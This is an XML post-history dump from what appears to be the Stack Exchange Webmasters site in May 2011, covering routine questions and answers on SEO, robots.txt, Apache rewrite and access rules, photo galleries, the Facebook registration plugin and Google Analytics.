  <row Id="33122" PostHistoryTypeId="5" PostId="14181" RevisionGUID="fac76b1e-8bce-4481-ba59-7e613fe6c243" CreationDate="2011-05-21T16:34:57.620" UserId="1253" Comment="added 97 characters in body" Text="All of the major, and minor, search engines respect robots.txt. Generally speaking only robots with bad intentions, or are poorly written, ignore robots.txt. You can find [a list of bad bots here][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kloth.net/internet/badbots.php" />
  <row Id="33123" PostHistoryTypeId="2" PostId="14183" RevisionGUID="7f8c5eae-17c2-4405-9348-120888acaabe" CreationDate="2011-05-21T17:00:57.343" UserId="7198" Text="Several photo editor apps have an export option to publish photos as an HTML gallery, including [Adobe Bridge,][1] [Aperture,][2] and [Adobe Lightroom][3]. You can probably find free alternatives to these by searching [iusethis.com][4] for &quot;web gallery&quot;.&#xD;&#xA;&#xD;&#xA;You might also consider uploading your photos to a hosted service like [Flickr][5], collecting them into a [photo set,][6] then embedding that set in an html page on your own site as a [Flickr slideshow.][7]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://help.adobe.com/en_US/Bridge/3.0/WSCF044571-2772-4d28-9EBD-2C9F46AF008A.html&#xD;&#xA;  [2]: http://www.oreillynet.com/digitalmedia/blog/2007/01/create_a_web_gallery_in_apertu.html&#xD;&#xA;  [3]: http://www.adobe.com/designcenter/lightroom/articles/lir1at_publishgallery_print.html&#xD;&#xA;  [4]: http://iusethis.com&#xD;&#xA;  [5]: http://www.flickr.com&#xD;&#xA;  [6]: http://www.youtube.com/watch?v=6NDwsOTlslo&#xD;&#xA;  [7]: http://paulstamatiou.com/how-to-quickie-embedded-flickr-slideshows" />
  <row Id="33124" PostHistoryTypeId="2" PostId="14184" RevisionGUID="db7b94ff-2d0c-4352-9791-ce1ef17a9bee" CreationDate="2011-05-21T17:56:57.177" UserId="6901" Text="The search engine [duck duck go][1] has generated some interest, and there are a few people who use it. I was wondering if if would be worth while to optimize my site to rank better on duck duck go, and if it is worthwhile, how to do it.&#xD;&#xA;&#xD;&#xA;  [1]: http://duckduckgo.com/" />
  <row Id="33125" PostHistoryTypeId="1" PostId="14184" RevisionGUID="db7b94ff-2d0c-4352-9791-ce1ef17a9bee" CreationDate="2011-05-21T17:56:57.177" UserId="6901" Text="Duck Duck Go SEO" />
  <row Id="33126" PostHistoryTypeId="3" PostId="14184" RevisionGUID="db7b94ff-2d0c-4352-9791-ce1ef17a9bee" CreationDate="2011-05-21T17:56:57.177" UserId="6901" Text="&lt;seo&gt;&lt;search-engines&gt;" />
  <row Id="33127" PostHistoryTypeId="2" PostId="14185" RevisionGUID="31165285-d40b-4320-9169-c9a8027e645a" CreationDate="2011-05-21T17:59:25.567" UserId="-1" Text="" />
  <row Id="33128" PostHistoryTypeId="2" PostId="14186" RevisionGUID="14e9b26a-65e3-4662-a587-cd15d78a6d93" CreationDate="2011-05-21T17:59:25.567" UserId="-1" Text="" />
  <row Id="33129" PostHistoryTypeId="2" PostId="14187" RevisionGUID="f44ba52f-fe6d-45f0-81bc-f629dfda6eda" CreationDate="2011-05-21T18:01:22.103" UserId="-1" Text="" />
  <row Id="33130" PostHistoryTypeId="2" PostId="14188" RevisionGUID="33876de6-f5c0-48d6-b295-29043ae78fd5" CreationDate="2011-05-21T18:01:22.103" UserId="-1" Text="" />
  <row Id="33131" PostHistoryTypeId="25" PostId="14180" RevisionGUID="ee123d1f-a5ba-4332-8462-926777cc91a2" CreationDate="2011-05-21T18:12:31.017" Comment="http://twitter.com/#!/StackWebmasters/status/72001837376606208" />
  <row Id="33132" PostHistoryTypeId="2" PostId="14189" RevisionGUID="16668acc-22da-48fe-b942-70d203d798d0" CreationDate="2011-05-21T18:14:48.253" UserId="6279" Text="according to me DUCKDUCKGO.com brings a specialized search .... check out the link&#xD;&#xA;&#xD;&#xA;http://goo.gl/YN1l7 . But I doubt that they offer! http://duck.co/ is the forum will help you. &#xD;&#xA;" />
  <row Id="33133" PostHistoryTypeId="2" PostId="14190" RevisionGUID="c1848688-2699-425e-9498-ee420c3aaf43" CreationDate="2011-05-21T18:43:49.910" UserId="5806" Text="[Jalbum][1] is probably the most popular application to do this. It is a small Java app that you run and produces a series HTML files even resizing your images if needed. You then simply upload the results to your server. It is very flexible with themes and plenty of optional settings to tweak things as you like it. I've used it for both personal and professional sites and it is really polished and extremely simple to use.&#xD;&#xA;&#xD;&#xA;  [1]: http://jalbum.net/en/" />
  <row Id="33134" PostHistoryTypeId="2" PostId="14191" RevisionGUID="7c2989d5-28ae-4421-95a5-40a80fb4b372" CreationDate="2011-05-21T19:45:27.827" UserId="1253" Text="I wouldn't even give that search engine a thought. Until they reach a critical mass and can potentially deliver real traffic oit's not worth doing anything special for them.&#xD;&#xA;&#xD;&#xA;Anyway, if your site is done properly you will be optimized for every search engine. There shouldn't be a need to do anything for any one search engine." />
  <row Id="33135" PostHistoryTypeId="5" PostId="14184" RevisionGUID="89bff116-7ee9-4988-bb2d-5fe5c6ece666" CreationDate="2011-05-21T19:48:44.193" UserId="6901" Comment="added 46 characters in body" Text="The search engine [duck duck go][1] has generated some interest, and there are a few people who use it. I was wondering if if would be worth while to optimize my site to rank better on duck duck go, and if it is worthwhile, if there are any tips for how to rank better on their site.&#xD;&#xA;&#xD;&#xA;  [1]: http://duckduckgo.com/" />
  <row Id="33136" PostHistoryTypeId="6" PostId="14177" RevisionGUID="c3a55d5b-5de7-4a48-89bf-f2980c472822" CreationDate="2011-05-21T20:26:08.170" UserId="6901" Comment="added a tag" Text="&lt;looking-for-a-script&gt;&lt;photo-gallery&gt;" />
  <row Id="33137" PostHistoryTypeId="24" PostId="14177" RevisionGUID="c3a55d5b-5de7-4a48-89bf-f2980c472822" CreationDate="2011-05-21T20:26:08.170" Comment="Proposed by 6901 approved by 1064 edit id of 324" />
  <row Id="33138" PostHistoryTypeId="5" PostId="14185" RevisionGUID="fb366bd7-29e4-41b8-a86a-4518152ac885" CreationDate="2011-05-21T20:26:39.543" UserId="6901" Comment="added 66 characters in body" Text="Microsoft's internet search engine. Located at http://www.bing.com" />
  <row Id="33139" PostHistoryTypeId="24" PostId="14185" RevisionGUID="fb366bd7-29e4-41b8-a86a-4518152ac885" CreationDate="2011-05-21T20:26:39.543" Comment="Proposed by 6901 approved by -1 edit id of 320" />
  <row Id="33140" PostHistoryTypeId="5" PostId="14185" RevisionGUID="843aa1da-107b-456d-ac72-5bc8eae2a72e" CreationDate="2011-05-21T20:26:40.370" UserId="1064" Comment="Added link" Text="Microsoft's [Bing.com](http://www.bing.com) internet search engine." />
  <row Id="33141" PostHistoryTypeId="5" PostId="14186" RevisionGUID="a72a955f-d0df-4eb9-8c23-e5785179d5c3" CreationDate="2011-05-21T20:27:06.720" UserId="6901" Comment="added 55 characters in body" Text="Microsoft's internet search engine. Located at bing.com" />
  <row Id="33142" PostHistoryTypeId="24" PostId="14186" RevisionGUID="a72a955f-d0df-4eb9-8c23-e5785179d5c3" CreationDate="2011-05-21T20:27:06.720" Comment="Proposed by 6901 approved by 1064 edit id of 321" />
  <row Id="33143" PostHistoryTypeId="5" PostId="12641" RevisionGUID="c5b35956-60db-433d-b453-809321afe789" CreationDate="2011-05-21T20:27:35.377" UserId="6901" Comment="added 149 characters in body" Text="A free and open source web browser descended from the Mozilla Application Suite. Download it at [mozilla.com][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mozilla.com/" />
  <row Id="33144" PostHistoryTypeId="24" PostId="12641" RevisionGUID="c5b35956-60db-433d-b453-809321afe789" CreationDate="2011-05-21T20:27:35.377" Comment="Proposed by 6901 approved by 1064 edit id of 325" />
  <row Id="33145" PostHistoryTypeId="5" PostId="12642" RevisionGUID="5ef0fc6c-17d1-4885-805b-e36247b9fae3" CreationDate="2011-05-21T20:27:42.473" UserId="6901" Comment="added 28 characters in body" Text="A free and open source web browser descended from the Mozilla Application Suite. Download it at mozilla.com." />
  <row Id="33146" PostHistoryTypeId="24" PostId="12642" RevisionGUID="5ef0fc6c-17d1-4885-805b-e36247b9fae3" CreationDate="2011-05-21T20:27:42.473" Comment="Proposed by 6901 approved by 1064 edit id of 326" />
  <row Id="33147" PostHistoryTypeId="5" PostId="14187" RevisionGUID="38980988-945b-4acc-968b-8fc788c01cc5" CreationDate="2011-05-21T20:27:46.797" UserId="6901" Comment="added 66 characters in body" Text="Google's web browser. Download it at http://www.google.com/chrome/" />
  <row Id="33148" PostHistoryTypeId="24" PostId="14187" RevisionGUID="38980988-945b-4acc-968b-8fc788c01cc5" CreationDate="2011-05-21T20:27:46.797" Comment="Proposed by 6901 approved by 1064 edit id of 322" />
  <row Id="33149" PostHistoryTypeId="5" PostId="14188" RevisionGUID="dee173fa-6b47-4fc8-8ed5-c987e662f5c1" CreationDate="2011-05-21T20:27:49.433" UserId="6901" Comment="added 21 characters in body" Text="Google's web browser." />
  <row Id="33150" PostHistoryTypeId="24" PostId="14188" RevisionGUID="dee173fa-6b47-4fc8-8ed5-c987e662f5c1" CreationDate="2011-05-21T20:27:49.433" Comment="Proposed by 6901 approved by 1064 edit id of 323" />
  <row Id="33151" PostHistoryTypeId="25" PostId="14177" RevisionGUID="3c2c38a7-77c1-4947-b34d-4814583675fe" CreationDate="2011-05-21T21:12:31.923" Comment="http://twitter.com/#!/StackWebmasters/status/72047141652135936" />
  <row Id="33152" PostHistoryTypeId="17" PostId="14193" RevisionGUID="c6ef02f5-4083-4034-ba83-b3d5763bcbaf" CreationDate="2011-05-21T21:14:57.927" UserId="-1" Comment="from http://stackoverflow.com/questions/6082137/htaccess-url-rewrite/6082214#6082214" Text="" />
  <row Id="33153" PostHistoryTypeId="2" PostId="14193" RevisionGUID="e17e3ba0-2e67-4332-a902-c81d6aea1d22" CreationDate="2011-05-21T14:02:33.123" UserDisplayName="Danzan" Text="If i was understand you right&#xD;&#xA; &#xD;&#xA;     RewriteRule ^([^/]+)\.htm$ /1/index.php?c=$1 [NC]&#xD;&#xA;     RewriteRule ^([^/]+)\.htm/([0-9.]+)$ /1/index.php?c=$1&amp;amt=$2 [NC]&#xD;&#xA;     RewriteRule ^1/([^/]+)\.htm$ index.php?c=$1 [NC]&#xD;&#xA;     RewriteRule ^1/([^/]+)\.htm/([0-9.]+)$ index.php?c=$1&amp;amt=$2 [NC]&#xD;&#xA;     RewriteRule ^2/([^/]+)\.htm$ index2.php?c=$1 [NC]&#xD;&#xA;     RewriteRule ^2/([^/]+)\.htm/([0-9.]+)$ index2.php?c=$1&amp;amt=$2 [NC]" />
  <row Id="33154" PostHistoryTypeId="2" PostId="14192" RevisionGUID="460c3f88-4a24-46ff-ac8f-acc6be6fd267" CreationDate="2011-05-21T13:49:14.953" UserDisplayName="user761396" Text="i used to have a rewrite rule to &#xD;&#xA;&#xD;&#xA;    RewriteRule ^([^/]+)\.htm$ index.php?c=$1 [NC]&#xD;&#xA;    RewriteRule ^([^/]+)\.htm/([0-9.]+)$ index.php?c=$1&amp;amt=$2 [NC]&#xD;&#xA;&#xD;&#xA;now, i have to change to &#xD;&#xA;&#xD;&#xA;    RewriteRule ^1/([^/]+)\.htm$ index.php?c=$1 [NC]&#xD;&#xA;    RewriteRule ^1/([^/]+)\.htm/([0-9.]+)$ index.php?c=$1&amp;amt=$2 [NC]&#xD;&#xA;    RewriteRule ^2/([^/]+)\.htm$ index2.php?c=$1 [NC]&#xD;&#xA;    RewriteRule ^2/([^/]+)\.htm/([0-9.]+)$ index2.php?c=$1&amp;amt=$2 [NC]&#xD;&#xA;&#xD;&#xA;(the difference is adding a subdirectory)&#xD;&#xA;&#xD;&#xA;my question is how to redirect my old ones to the `1/` subdirectory?&#xD;&#xA;&#xD;&#xA;thank you" />
  <row Id="33155" PostHistoryTypeId="1" PostId="14192" RevisionGUID="460c3f88-4a24-46ff-ac8f-acc6be6fd267" CreationDate="2011-05-21T13:49:14.953" UserDisplayName="user761396" Text="htaccess url rewrite" />
  <row Id="33156" PostHistoryTypeId="3" PostId="14192" RevisionGUID="460c3f88-4a24-46ff-ac8f-acc6be6fd267" CreationDate="2011-05-21T13:49:14.953" UserDisplayName="user761396" Text="&lt;php&gt;&lt;htaccess&gt;&lt;rewrite&gt;" />
  <row Id="33157" PostHistoryTypeId="17" PostId="14192" RevisionGUID="e4ca4fde-4c1a-4da4-8c7e-1193ad61e62c" CreationDate="2011-05-21T21:14:57.927" UserId="-1" Comment="from http://stackoverflow.com/questions/6082137/htaccess-url-rewrite" Text="" />
  <row Id="33158" PostHistoryTypeId="2" PostId="14194" RevisionGUID="dfd3c231-57d4-4d64-bec3-2808244bb029" CreationDate="2011-05-21T15:11:57.530" UserDisplayName="Mirror51" Text="I have an Apache webserver, and in the Apache configuration, I have&#xD;&#xA;&#xD;&#xA;    Alias /backups &quot;/backups&quot;&#xD;&#xA;    &lt;Directory &quot;/backups&quot;&gt;&#xD;&#xA;        AllowOverride None&#xD;&#xA;        Options Indexes&#xD;&#xA;        Order allow,deny&#xD;&#xA;        Allow from all&#xD;&#xA;    &lt;/Directory&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I can access files via `http://127.0.0.1/backups`. The problem is everyone can access that.&#xD;&#xA;&#xD;&#xA;I have a web interface, e.g. `http://localhost/admin`m that is protected with htaccess and password.&#xD;&#xA;&#xD;&#xA;Now I don't want separate `.htaccess` and `.htpasswd` for `/backups`, and I don't want a second password prompt when a user clicks on `/backups` in the web interface. Is there any way to use same `.htaccess` and `.htpasswd` for the backups directory?&#xD;&#xA;" />
  <row Id="33159" PostHistoryTypeId="1" PostId="14194" RevisionGUID="dfd3c231-57d4-4d64-bec3-2808244bb029" CreationDate="2011-05-21T15:11:57.530" UserDisplayName="Mirror51" Text="Directory access control with Apache: do I need to use a specific .htaccess?" />
  <row Id="33160" PostHistoryTypeId="3" PostId="14194" RevisionGUID="dfd3c231-57d4-4d64-bec3-2808244bb029" CreationDate="2011-05-21T15:11:57.530" UserDisplayName="Mirror51" Text="&lt;linux&gt;&lt;apache&gt;&lt;authentication&gt;&lt;webserver&gt;" />
  <row Id="33161" PostHistoryTypeId="17" PostId="14194" RevisionGUID="2ce48fb6-94bd-40aa-bbd9-0e48b3694f2a" CreationDate="2011-05-21T22:25:35.523" UserId="-1" Comment="from http://unix.stackexchange.com/questions/13545/directory-access-control-with-apache-do-i-need-to-use-a-specific-htaccess" Text="" />
  <row Id="33162" PostHistoryTypeId="25" PostId="14166" RevisionGUID="a9f319f5-a45d-4017-8866-361a40f99f29" CreationDate="2011-05-22T00:12:31.603" Comment="http://twitter.com/#!/StackWebmasters/status/72092438902218752" />
  <row Id="33163" PostHistoryTypeId="5" PostId="14192" RevisionGUID="acf5d535-8f4c-4045-a4f8-620bb720c4bd" CreationDate="2011-05-22T01:59:01.210" UserId="1253" Comment="modified tags" Text="i used to have a rewrite rule to &#xD;&#xA;&#xD;&#xA;    RewriteRule ^([^/]+)\.htm$ index.php?c=$1 [NC]&#xD;&#xA;    RewriteRule ^([^/]+)\.htm/([0-9.]+)$ index.php?c=$1&amp;amt=$2 [NC]&#xD;&#xA;&#xD;&#xA;now, i have to change to &#xD;&#xA;&#xD;&#xA;    RewriteRule ^1/([^/]+)\.htm$ index.php?c=$1 [NC]&#xD;&#xA;    RewriteRule ^1/([^/]+)\.htm/([0-9.]+)$ index.php?c=$1&amp;amt=$2 [NC]&#xD;&#xA;    RewriteRule ^2/([^/]+)\.htm$ index2.php?c=$1 [NC]&#xD;&#xA;    RewriteRule ^2/([^/]+)\.htm/([0-9.]+)$ index2.php?c=$1&amp;amt=$2 [NC]&#xD;&#xA;&#xD;&#xA;(the difference is adding a subdirectory)&#xD;&#xA; &#xD;&#xA;my question is how to redirect my old ones to the `1/` subdirectory?&#xD;&#xA;&#xD;&#xA;thank you" />
  <row Id="33164" PostHistoryTypeId="6" PostId="14192" RevisionGUID="acf5d535-8f4c-4045-a4f8-620bb720c4bd" CreationDate="2011-05-22T01:59:01.210" UserId="1253" Comment="modified tags" Text="&lt;htaccess&gt;&lt;rewrite&gt;" />
  <row Id="33165" PostHistoryTypeId="2" PostId="14195" RevisionGUID="9d3727dd-2a22-4993-b14e-d330346c9ca7" CreationDate="2011-05-22T02:45:59.483" UserId="7721" Text="I am trying to use FaceBook Registration Plugin (http://developers.facebook.com/docs/plugins/registration/). It already has name field which I dont want to use instead i want to use my own First Name and Last Name fields Is there a way to do so ?" />
  <row Id="33166" PostHistoryTypeId="1" PostId="14195" RevisionGUID="9d3727dd-2a22-4993-b14e-d330346c9ca7" CreationDate="2011-05-22T02:45:59.483" UserId="7721" Text="Facebook Registration Plugin and Name Field" />
  <row Id="33167" PostHistoryTypeId="3" PostId="14195" RevisionGUID="9d3727dd-2a22-4993-b14e-d330346c9ca7" CreationDate="2011-05-22T02:45:59.483" UserId="7721" Text="&lt;facebook&gt;&lt;facebook-application&gt;" />
  <row Id="33168" PostHistoryTypeId="2" PostId="14196" RevisionGUID="9c357026-de42-49f6-b2c4-6f27447a07f7" CreationDate="2011-05-22T02:51:50.883" UserId="7722" Text="At the bottom of vendor profile, there is an text box for you to insert your GA code. &#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;Question: what does this do? What kind of stats am I expected to see in Google Analytics? I don't have the luxury of trial and error at the moment.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/hIVHw.png" />
  <row Id="33169" PostHistoryTypeId="1" PostId="14196" RevisionGUID="9c357026-de42-49f6-b2c4-6f27447a07f7" CreationDate="2011-05-22T02:51:50.883" UserId="7722" Text="Question about setting up Google Analytics with Google Apps Marketplace" />
  <row Id="33170" PostHistoryTypeId="3" PostId="14196" RevisionGUID="9c357026-de42-49f6-b2c4-6f27447a07f7" CreationDate="2011-05-22T02:51:50.883" UserId="7722" Text="&lt;google&gt;&lt;google-analytics&gt;" />
  <row Id="33171" PostHistoryTypeId="25" PostId="14195" RevisionGUID="2cd9291f-2911-49a8-a42a-c7c2b7ef9111" CreationDate="2011-05-22T03:12:32.380" Comment="http://twitter.com/#!/StackWebmasters/status/72137741357432832" />
  <row Id="33172" PostHistoryTypeId="25" PostId="14196" RevisionGUID="4a7e420b-fa8e-47ab-acdc-ef9477127769" CreationDate="2011-05-22T06:12:32.993" Comment="http://twitter.com/#!/StackWebmasters/status/72183041665142784" />
  <row Id="33173" PostHistoryTypeId="2" PostId="14197" RevisionGUID="b2ccc5ed-35be-4fd5-a66a-4ef3dfd668b1" CreationDate="2011-05-22T07:48:12.917" UserId="6812" Text="Google Analytics is an amazingly helpful tool. I would suggest reading for the specifics on their site if you haven't already, but on top of that, I did you one better: I took some screenshots of the dashboard and report table of my own Analytics page, to give you an idea of how awesome Analytics is. You can view it here: http://imgur.com/a/HUC5E&#xD;&#xA;&#xD;&#xA;The dashboard, and all reports, are fully customizable, and they tell you exactly what is going on with... well, your whole site, really.&#xD;&#xA;&#xD;&#xA;There's nothing another stat-tracking software can tell you that Google Analytics can not." />
  <row Id="33174" PostHistoryTypeId="2" PostId="14198" RevisionGUID="efc8dd43-9090-4c2a-bb9c-878b91ebf0b1" CreationDate="2011-05-22T07:53:29.033" UserId="6812" Text="If a user is registering to your site using the plugin, they are trying to connect via Facebook and therefore would like to have their information auto-filled. If they do not, then that Name field can work for a First Name and Last Name by allowing them to enter their full name.&#xD;&#xA;&#xD;&#xA;The problem is, that plugin is optimized for use by Facebook users AND non-facebook users, shown here:&#xD;&#xA;&#xD;&#xA;&gt; The plugin also allows users who do&#xD;&#xA;&gt; not have a Facebook account, or do not&#xD;&#xA;&gt; wish to sign up for your site using&#xD;&#xA;&gt; Facebook to use the same form as those&#xD;&#xA;&gt; who are connecting with Facebook. This&#xD;&#xA;&gt; eliminates the need to provide two&#xD;&#xA;&gt; separate login experiences&#xD;&#xA;&#xD;&#xA;With that said, they intend for this form to work for non-Facebook signups as well. I don't believe you can edit the forms since it uses an iframe and calls those fields through it with no user-allowed editing of the plugin. However, this doesn't mean that you could use the Facebook API to create your own plugin, or maybe a CMS you would use would have its own as well...&#xD;&#xA;&#xD;&#xA;Another option is to have your own form, but have a &quot;Sign In with Facebook!&quot; link.&#xD;&#xA;&#xD;&#xA;To answer your question directly: No, it does not look like it is editable in any way, but there are alternatives if you do not appreciate the way that the form already works." />
  <row Id="33175" PostHistoryTypeId="2" PostId="14199" RevisionGUID="2cb4ff25-d685-44cc-baf3-1a23b14fd40f" CreationDate="2011-05-22T08:41:08.010" UserId="7164" Text="I have on my website hundreds of pages with a help text in it. This text is the same for all the pages and is long compared to the rest of the texts on the page.&#xD;&#xA;Because i want better user experience, i prefer to keep the text in the page and not in another where i could link to. &#xD;&#xA;&#xD;&#xA;I fear that SEs might consider my site too spammy because of that.&#xD;&#xA;&#xD;&#xA;What would you do in that situation ?&#xD;&#xA;&#xD;&#xA;Cheers" />
  <row Id="33176" PostHistoryTypeId="1" PostId="14199" RevisionGUID="2cb4ff25-d685-44cc-baf3-1a23b14fd40f" CreationDate="2011-05-22T08:41:08.010" UserId="7164" Text="duplicated text on site and seo" />
  <row Id="33177" PostHistoryTypeId="3" PostId="14199" RevisionGUID="2cb4ff25-d685-44cc-baf3-1a23b14fd40f" CreationDate="2011-05-22T08:41:08.010" UserId="7164" Text="&lt;seo&gt;&lt;indexing&gt;&lt;text&gt;" />
  <row Id="33178" PostHistoryTypeId="25" PostId="14199" RevisionGUID="4fa62830-bf41-43c3-9217-302804438ec6" CreationDate="2011-05-22T09:12:32.617" Comment="http://twitter.com/#!/StackWebmasters/status/72228338386735104" />
  <row Id="33179" PostHistoryTypeId="2" PostId="14200" RevisionGUID="7e978323-c19f-42bc-bcc7-5f70a7005af7" CreationDate="2011-05-22T09:49:30.777" UserId="7725" Text="See http://www.anscamobile.com&#xD;&#xA;&#xD;&#xA;I like the design of this website, and would like to know if you guys can identify a similar design/theme/CMS setup that is readily available.&#xD;&#xA;Cheers!" />
  <row Id="33180" PostHistoryTypeId="1" PostId="14200" RevisionGUID="7e978323-c19f-42bc-bcc7-5f70a7005af7" CreationDate="2011-05-22T09:49:30.777" UserId="7725" Text="What software/theme is running on this website?" />
  <row Id="33181" PostHistoryTypeId="3" PostId="14200" RevisionGUID="7e978323-c19f-42bc-bcc7-5f70a7005af7" CreationDate="2011-05-22T09:49:30.777" UserId="7725" Text="&lt;theme&gt;" />
  <row Id="33182" PostHistoryTypeId="2" PostId="14201" RevisionGUID="697b249c-3356-46a8-92c7-37521a2e8b10" CreationDate="2011-05-22T10:14:36.707" UserId="4502" Text="It's a little hard to judge without seeing an actual example, but doesn't it seem a little strange that you've got help text that's disproportionate to your actual content? I'd say it suggests some interface problems. It almost sounds like you're trying to fix your user experience(since you brought it up) by constantly explaining it, which is the wrong approach altogether.&#xD;&#xA;&#xD;&#xA;Do you *really* need all of that text right on the page, every single page? Have you considered cutting it down to the few most common problems and having a &quot;more&quot; link pointing at the full version on a centralized page?" />
  <row Id="33183" PostHistoryTypeId="17" PostId="14203" RevisionGUID="cde8d41e-e40e-4b2c-b64e-5cd0c9dd9a5f" CreationDate="2011-05-22T10:46:49.083" UserId="-1" Comment="from http://stackoverflow.com/questions/6070485/http-how-to-be-deleted-from-search-engines-at-a-certain-point-in-time-in-the-fut/6070531#6070531" Text="" />
  <row Id="33184" PostHistoryTypeId="17" PostId="14204" RevisionGUID="bbce488a-7245-477a-b699-12a23426b089" CreationDate="2011-05-22T10:46:49.083" UserId="-1" Comment="from http://stackoverflow.com/questions/6070485/http-how-to-be-deleted-from-search-engines-at-a-certain-point-in-time-in-the-fut/6086860#6086860" Text="" />
  <row Id="33185" PostHistoryTypeId="2" PostId="14203" RevisionGUID="b5c6abc8-8b72-4619-a293-fc3e6aac178b" CreationDate="2011-05-20T10:24:09.203" UserDisplayName="powtac" Text="First of all you don't have control what search engines crawl and what they put in their index.&#xD;&#xA;&#xD;&#xA;**BUT**, Google for instance is taking your information about the live time of your pages very serious. So if you add the correct HTTP header it will consider those information. You can also add some information into your robots.txt about which pages are invalid. &#xD;&#xA;&#xD;&#xA;There are also the [Webmaster tools][1] where you can tell Google to remove pages from the index. &#xD;&#xA;&#xD;&#xA;On the official Google webmaster blog you will find very helpful information [about removing URLs from the index and how to reinclude content][2]. There they say you can remove URLs by:&#xD;&#xA;&#xD;&#xA; - using 410,  &#xD;&#xA; - robots.txt or the &#xD;&#xA; - noindex meta tag&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/webmasters/tools/&#xD;&#xA;  [2]: http://googlewebmastercentral.blogspot.com/2010/03/url-removal-explained-part-i-urls.html" />
  <row Id="33186" PostHistoryTypeId="2" PostId="14204" RevisionGUID="47216f35-10ea-41e8-9198-d7cdf4b20f30" CreationDate="2011-05-22T08:34:26.980" UserDisplayName="Jan" Text="For google there is a meta tag called **unavailable_after**, which does exactly what I was looking for: It tells google to remove a certain page at a specific time in the future.&#xD;&#xA;&#xD;&#xA;It is the only way to achieve what I was hoping to accomplish: Getting the pages removed automatically, at the right time, not relying on the crawler to come back and notice the 410 Gone response, which can take a weeks after the content has been removed.&#xD;&#xA;&#xD;&#xA;Example: &#xD;&#xA;&#xD;&#xA;&gt; &amp;lt;META NAME=&quot;GOOGLEBOT&quot; CONTENT=&quot;unavailable_after: 25-Aug-2007 15:00:00 EST&quot; /&gt;&#xD;&#xA;&#xD;&#xA;Or with HTTP header, for PDFs etc.:&#xD;&#xA;&#xD;&#xA;&gt; X-Robots-Tag: unavailable_after: 23 Jul 2007 15:00:00 PST&#xD;&#xA;&#xD;&#xA;Sources: http://googleblog.blogspot.com/2007/07/robots-exclusion-protocol-now-with-even.html and http://www.google.com/support/webmasters/bin/answer.py?answer=79812&#xD;&#xA;&#xD;&#xA;I could not find out if Bing, Yahoo &amp; Co have adopted this Google specific tag." />
  <row Id="33187" PostHistoryTypeId="2" PostId="14202" RevisionGUID="69eaa043-211c-443e-9b3f-afac43a9e106" CreationDate="2011-05-20T10:18:48.753" UserDisplayName="Jan" Text="Is there a way to tell search engines, that a page they crawl should be included in the search results now, but have to be deleted at a certain time in the future?&#xD;&#xA;&#xD;&#xA;I have a website where hundreds of publications happen each day and I want them to be crawled and be searchable, but I am legally required to remove the information after a while (individual date for each page).&#xD;&#xA;&#xD;&#xA;After that given date, the page will not be visible at my website anymore (HTTP response 410 gone), but the page will linger in e.g. the google cache for a while, which could cause legal issues for me. Obviously, it's not viable to issue hundreds of content removal requests to google by hand. On the other hand, the individual pages do not get modified for some months until they have to be discarded, so google bot won't check in often.&#xD;&#xA;&#xD;&#xA;For what I understand, the HTTP Expires header is a label for minimum freshnes and not for maximum lifetime, correct? I am sending last-modified-at and etag headers, but they don't help here. Is there any way to say &quot;cache, but only until 2011-08-15&quot;?" />
  <row Id="33188" PostHistoryTypeId="1" PostId="14202" RevisionGUID="69eaa043-211c-443e-9b3f-afac43a9e106" CreationDate="2011-05-20T10:18:48.753" UserDisplayName="Jan" Text="HTTP: How to be deleted from search engines at a certain point in time in the future?" />
  <row Id="33189" PostHistoryTypeId="3" PostId="14202" RevisionGUID="69eaa043-211c-443e-9b3f-afac43a9e106" CreationDate="2011-05-20T10:18:48.753" UserDisplayName="Jan" Text="&lt;http&gt;&lt;search-engines&gt;" />
  <row Id="33190" PostHistoryTypeId="17" PostId="14202" RevisionGUID="7ca107e3-fb3e-4f8d-81d7-0b73365ec897" CreationDate="2011-05-22T10:46:49.083" UserId="-1" Comment="from http://stackoverflow.com/questions/6070485/http-how-to-be-deleted-from-search-engines-at-a-certain-point-in-time-in-the-fut" Text="" />
  <row Id="33191" PostHistoryTypeId="2" PostId="14205" RevisionGUID="4aeb3fad-bc33-4708-97e5-5c1b56e91a44" CreationDate="2011-05-22T10:25:10.260" UserDisplayName="Ana" Text="When I recently googled my website, stat sites came up that had more info on my website than I even knew off the top of my head! Daily traffic, Nameservers, analytics id, etc.&#xD;&#xA;&#xD;&#xA;I removed google analytics code from my site... does google analytics share or sell information? It makes me uneasy and I don't like that it comes up when others search my site. &#xD;&#xA;&#xD;&#xA;I'm also worried that how low they listed my site worth will confuse customers because we're an e-commerce site whose average item sells for more than what was listed as what the whole site is worth!&#xD;&#xA;&#xD;&#xA;1) How are they getting my information?&#xD;&#xA;&#xD;&#xA;2) Is there anything I can do?" />
  <row Id="33192" PostHistoryTypeId="1" PostId="14205" RevisionGUID="4aeb3fad-bc33-4708-97e5-5c1b56e91a44" CreationDate="2011-05-22T10:25:10.260" UserDisplayName="Ana" Text="How to prevent stat sites from getting/publishing my traffic and hosting information?" />
  <row Id="33193" PostHistoryTypeId="3" PostId="14205" RevisionGUID="4aeb3fad-bc33-4708-97e5-5c1b56e91a44" CreationDate="2011-05-22T10:25:10.260" UserDisplayName="Ana" Text="&lt;security&gt;&lt;analytics&gt;" />
  <row Id="33194" PostHistoryTypeId="17" PostId="14205" RevisionGUID="e56cccef-d953-483d-8cc2-8c5cc112965a" CreationDate="2011-05-22T10:48:03.110" UserId="-1" Comment="from http://stackoverflow.com/questions/6087316/how-to-prevent-stat-sites-from-getting-publishing-my-traffic-and-hosting-informat" Text="" />
  <row Id="33195" PostHistoryTypeId="25" PostId="14205" RevisionGUID="b6a7f957-1cb4-40fa-aba1-c901fed7e392" CreationDate="2011-05-22T12:12:33.247" Comment="http://twitter.com/#!/StackWebmasters/status/72273639696891906" />
  <row Id="33196" PostHistoryTypeId="17" PostId="14207" RevisionGUID="dd50fbbe-eb4d-4427-9979-ac04e78300a7" CreationDate="2011-05-22T12:18:05.347" UserId="-1" Comment="from http://stackoverflow.com/questions/6086050/how-to-design-a-mobile-website/6086081#6086081" Text="" />
